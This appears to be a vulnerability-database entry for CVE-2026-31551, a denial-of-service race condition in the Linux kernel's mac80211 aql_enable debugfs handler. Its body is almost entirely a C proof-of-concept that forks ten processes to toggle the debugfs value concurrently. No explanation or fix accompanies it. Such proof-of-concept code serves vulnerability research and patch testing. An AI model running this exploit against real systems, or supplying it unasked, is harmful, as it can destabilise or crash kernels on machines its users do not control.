CVE-2026-31551 Linux Kernel mac80211拒绝服务漏洞

/* * PoC for CVE-2026-31551 * This code attempts to trigger the race condition in aql_enable_write() * by writing concurrently to the debugfs interface. * Compile: gcc -o poc_cve202631551 poc_cve202631551.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define DEBUGFS_PATH "/sys/kernel/debug/ieee80211/phy0/aql_enable" // Path may vary void trigger_write() { int fd = open(DEBUGFS_PATH, O_WRONLY); if (fd < 0) { perror("open debugfs"); return; } // Toggle value to trigger inc/dec logic char *val = "1"; for (int i = 0; i < 1000; i++) { write(fd, val, 1); val = (val[0] == '1') ? "0" : "1"; } close(fd); } int main() { printf("[+] Starting PoC for CVE-2026-31551...\n"); // Fork multiple processes to increase race condition likelihood for (int i = 0; i < 10; i++) { if (fork() == 0) { trigger_write(); exit(0); } } sleep(2); // Wait for children to execute printf("[+] Exploit attempt finished. Check dmesg for warnings.\n"); return 0; }